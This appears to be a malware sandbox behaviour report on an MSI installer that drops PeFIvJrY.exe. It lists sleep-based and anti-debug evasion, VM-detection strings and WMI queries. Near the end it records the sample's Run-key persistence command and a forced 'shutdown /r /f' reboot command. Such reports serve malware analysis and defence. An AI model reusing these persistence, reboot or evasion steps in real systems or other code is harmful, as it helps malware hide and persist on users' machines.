Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Memory allocated: 25B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Memory allocated: 3240000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Memory allocated: 5240000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe

Code function: 12_2_0040CB80 NtQuerySystemInformation,NtQuerySystemInformation,SysAllocStringLen,GetCurrentProcessId,GetLastError,NtQueryInformationProcess,NtQueryInformationProcess,CloseHandle,

12_2_0040CB80

Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 598952	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 598724	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 598594	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 598484	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 598375	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 598266	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 598156	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 598047	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 597938	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 597813	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 597594	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 597469	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 597359	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 597250	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 597141	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 597031	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 596922	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 596813	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 596688	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 596469	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 596344	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 596234	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 596125	Jump to behavior

Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Window / User API: threadDelayed 1627			Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Window / User API: threadDelayed 8199			Jump to behavior

Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI7003.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI6F47.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI7033.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\Public\PeFI\vJrY\PeFI.png	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI62DE.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI9F25.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI6185.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\shi6530.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\shi64B2.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI635C.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI6F17.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI6467.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI6487.tmp	Jump to dropped file

Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe

API coverage: 9.0 %

Source: C:\Windows\SysWOW64\msiexec.exe TID: 7208	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe TID: 7944	Thread sleep time: -32281802128991695s >= -30000s	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe TID: 7944	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe TID: 7944	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe TID: 7944	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe TID: 7944	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe TID: 7944	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe TID: 7944	Thread sleep time: -599438s >= -30000s	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe TID: 7944	Thread sleep time: -599313s >= -30000s	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe TID: 7944	Thread sleep time: -599188s >= -30000s	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe TID: 7944	Thread sleep time: -599063s >= -30000s	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe TID: 7944	Thread sleep time: -598952s >= -30000s	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe TID: 7944	Thread sleep time: -598724s >= -30000s	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe TID: 7944	Thread sleep time: -598594s >= -30000s	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe TID: 7944	Thread sleep time: -598484s >= -30000s	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe TID: 7944	Thread sleep time: -598375s >= -30000s	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe TID: 7944	Thread sleep time: -598266s >= -30000s	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe TID: 7944	Thread sleep time: -598156s >= -30000s	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe TID: 7944	Thread sleep time: -598047s >= -30000s	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe TID: 7944	Thread sleep time: -597938s >= -30000s	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe TID: 7944	Thread sleep time: -597813s >= -30000s	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe TID: 7944	Thread sleep time: -597703s >= -30000s	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe TID: 7944	Thread sleep time: -597594s >= -30000s	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe TID: 7944	Thread sleep time: -597469s >= -30000s	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe TID: 7944	Thread sleep time: -597359s >= -30000s	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe TID: 7944	Thread sleep time: -597250s >= -30000s	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe TID: 7944	Thread sleep time: -597141s >= -30000s	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe TID: 7944	Thread sleep time: -597031s >= -30000s	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe TID: 7944	Thread sleep time: -596922s >= -30000s	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe TID: 7944	Thread sleep time: -596813s >= -30000s	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe TID: 7944	Thread sleep time: -596688s >= -30000s	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe TID: 7944	Thread sleep time: -596578s >= -30000s	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe TID: 7944	Thread sleep time: -596469s >= -30000s	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe TID: 7944	Thread sleep time: -596344s >= -30000s	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe TID: 7944	Thread sleep time: -596234s >= -30000s	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe TID: 7944	Thread sleep time: -596125s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\SysWOW64\msiexec.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_0043303C FindFirstFileExW,	12_2_0043303C
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_00424DC6 FindFirstFileExW,GetLastError,FindFirstFileExW,GetLastError,	12_2_00424DC6
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_00424DA6 FindClose,FindFirstFileExW,GetLastError,FindFirstFileExW,GetLastError,	12_2_00424DA6

Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe

Code function: 12_2_004231FD VirtualQuery,GetSystemInfo,

12_2_004231FD

Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 598952	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 598724	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 598594	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 598484	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 598375	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 598266	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 598156	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 598047	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 597938	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 597813	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 597594	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 597469	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 597359	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 597250	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 597141	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 597031	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 596922	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 596813	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 596688	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 596469	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 596344	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 596234	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Thread delayed: delay time: 596125	Jump to behavior

Source: PeFIvJrY.exe, 0000000C.00000002.3849220507.00000000054E4000.00000002.00000001.01000000.00000005.sdmp, PeFIvJrY.exe, 0000000D.00000002.1729149617.000000006D564000.00000002.00000001.01000000.00000005.sdmp, PeFI.png.3.dr	Binary or memory string: HPC Edition7HPC Edition without Hyper-V
Source: PeFIvJrY.exe, 0000000C.00000002.3849220507.00000000054E4000.00000002.00000001.01000000.00000005.sdmp, PeFIvJrY.exe, 0000000D.00000002.1729149617.000000006D564000.00000002.00000001.01000000.00000005.sdmp, PeFI.png.3.dr	Binary or memory string: Single LanguagesWindows Small Business Server Premium (core installation)5Server for SB Solutions EM3Enterprise Storage Server1Solution Embedded Server1Microsoft Hyper-V Server
Source: PeFIvJrY.exe, 0000000C.00000002.3849220507.00000000054E4000.00000002.00000001.01000000.00000005.sdmp, PeFIvJrY.exe, 0000000D.00000002.1729149617.000000006D564000.00000002.00000001.01000000.00000005.sdmp, PeFI.png.3.dr	Binary or memory string: Unknown productkEnterprise Server without Hyper-V (core installation)
Source: PeFIvJrY.exe, 0000000C.00000002.3849220507.00000000054E4000.00000002.00000001.01000000.00000005.sdmp, PeFIvJrY.exe, 0000000D.00000002.1729149617.000000006D564000.00000002.00000001.01000000.00000005.sdmp, PeFI.png.3.dr	Binary or memory string: Advanced ServereWindows Essential Server Solutions without Hyper-V
Source: PeFIvJrY.exe, 0000000C.00000002.3849220507.00000000054E4000.00000002.00000001.01000000.00000005.sdmp, PeFIvJrY.exe, 0000000D.00000002.1729149617.000000006D564000.00000002.00000001.01000000.00000005.sdmp, PeFI.png.3.dr	Binary or memory string: AtivoYFRviEC0n/N4+2AwLUvqsG68H4biL3/f1MGMfyvTFpzc=YwiRuB1adGDdROivLAf5L7N/vPu2LM0g/HsqQXZQJFEc=CEssential Business Server ADDLSVCWServer Enterprise (evaluation installation)kDatacenter Server without Hyper-V (core installation)
Source: PeFIvJrY.exe, 0000000C.00000003.3034144504.0000000000A43000.00000004.00000020.00020000.00000000.sdmp, PeFIvJrY.exe, 0000000C.00000003.3380949220.0000000000A43000.00000004.00000020.00020000.00000000.sdmp, PeFIvJrY.exe, 0000000C.00000002.3836856328.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlli
Source: PeFIvJrY.exe, 0000000C.00000002.3849220507.00000000054E4000.00000002.00000001.01000000.00000005.sdmp, PeFIvJrY.exe, 0000000D.00000002.1729149617.000000006D564000.00000002.00000001.01000000.00000005.sdmp, PeFI.png.3.dr	Binary or memory string: WorkstationgStandard Server without Hyper-V (core installation)
Source: PeFIvJrY.exe, 0000000C.00000002.3849220507.00000000054E4000.00000002.00000001.01000000.00000005.sdmp, PeFIvJrY.exe, 0000000D.00000002.1729149617.000000006D564000.00000002.00000001.01000000.00000005.sdmp, PeFI.png.3.dr	Binary or memory string: Ultimate[Enterprise Storage Server (core installation)7PRODUCT_EMBEDDED_INDUSTRY_E-Express Storage ServerUExpress Storage Server (core installation)cStorage Server Standard (evaluation installation)+SB Solution Server EMCDatacenter Server without Hyper-V
Source: PeFIvJrY.exe, 0000000C.00000002.3849220507.00000000054E4000.00000002.00000001.01000000.00000005.sdmp, PeFIvJrY.exe, 0000000D.00000002.1729149617.000000006D564000.00000002.00000001.01000000.00000005.sdmp, PeFI.png.3.dr	Binary or memory string: CEnterprise Server without Hyper-V
Source: 495fa1.msi.2.dr	Binary or memory string: 01234567890.0.0.0.%dVMware, Inc.VMware Virtual PlatformVMware7,1innotek GmbHVirtualBoxMicrosoft CorporationVirtual MachineVRTUALACRSYSA M IROOT\CIMV2SELECT * FROM Win32_ComputerSystemSELECT * FROM Win32_BIOSManufacturerModelVersionGetting system informationManufacturer [Model [BIOS [IsWow64Processkernel32Software\Microsoft\Windows NT\CurrentVersionSYSTEM\CurrentControlSet\Control\ProductOptionsCurrentMajorVersionNumberCurrentMinorVersionNumberCurrentVersionCurrentBuildNumberReleaseIdCSDVersionProductTypeProductSuiteWinNTServerNTSmall BusinessEnterpriseBackOfficeCommunicationServerTerminal ServerSmall Business(Restricted)EmbeddedNTDataCenterPersonalBladeEmbedded(Restricted)Security ApplianceStorage ServerCompute Server Failed to create IWbemLocator object. Error code: \\Could not connect to WMI provider. Error code: Failed to initialize security. Error code: Could not set proxy blanket. Error code: WQLWMI Query failed: []. Error code:
Source: PeFIvJrY.exe, 0000000C.00000002.3849220507.00000000054E4000.00000002.00000001.01000000.00000005.sdmp, PeFIvJrY.exe, 0000000D.00000002.1729149617.000000006D564000.00000002.00000001.01000000.00000005.sdmp, PeFI.png.3.dr	Binary or memory string: Ultimate E?Standard Server without Hyper-V

Source: C:\Windows\System32\msiexec.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe

Code function: 12_2_00426602 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

12_2_00426602

Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe

Code function: 12_2_0040CB80 NtQuerySystemInformation,NtQuerySystemInformation,SysAllocStringLen,GetCurrentProcessId,GetLastError,NtQueryInformationProcess,NtQueryInformationProcess,CloseHandle,

12_2_0040CB80

Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_004318C6 mov eax, dword ptr fs:[00000030h]	12_2_004318C6
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_00431882 mov eax, dword ptr fs:[00000030h]	12_2_00431882
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_0042EC45 mov ecx, dword ptr fs:[00000030h]	12_2_0042EC45

Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe

Code function: 12_2_003E40C0 GetProcessHeap,RtlAllocateHeap,GetProcessHeap,GetProcessHeap,HeapFree,

12_2_003E40C0

Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_00426602 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_00426602
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_00426796 SetUnhandledExceptionFilter,	12_2_00426796
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_004259D6 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_004259D6
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_00428FA3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_00428FA3

Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C start /MIN reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v PeFIvJrY /t reg_sz /d "C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\shutdown.exe "C:\Windows\SysWOW64\shutdown.exe" /r /f /t 15	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v PeFIvJrY /t reg_sz /d "C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe"	Jump to behavior

Source: PeFIvJrY.exe, 0000000C.00000002.3847929255.0000000003336000.00000004.00000800.00020000.00000000.sdmp, PeFIvJrY.exe, 0000000C.00000002.3847929255.0000000003396000.00000004.00000800.00020000.00000000.sdmp, PeFIvJrY.exe, 0000000C.00000002.3847929255.000000000364C000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: Program Manager

Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe

Code function: 12_2_0042622C cpuid

12_2_0042622C

Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
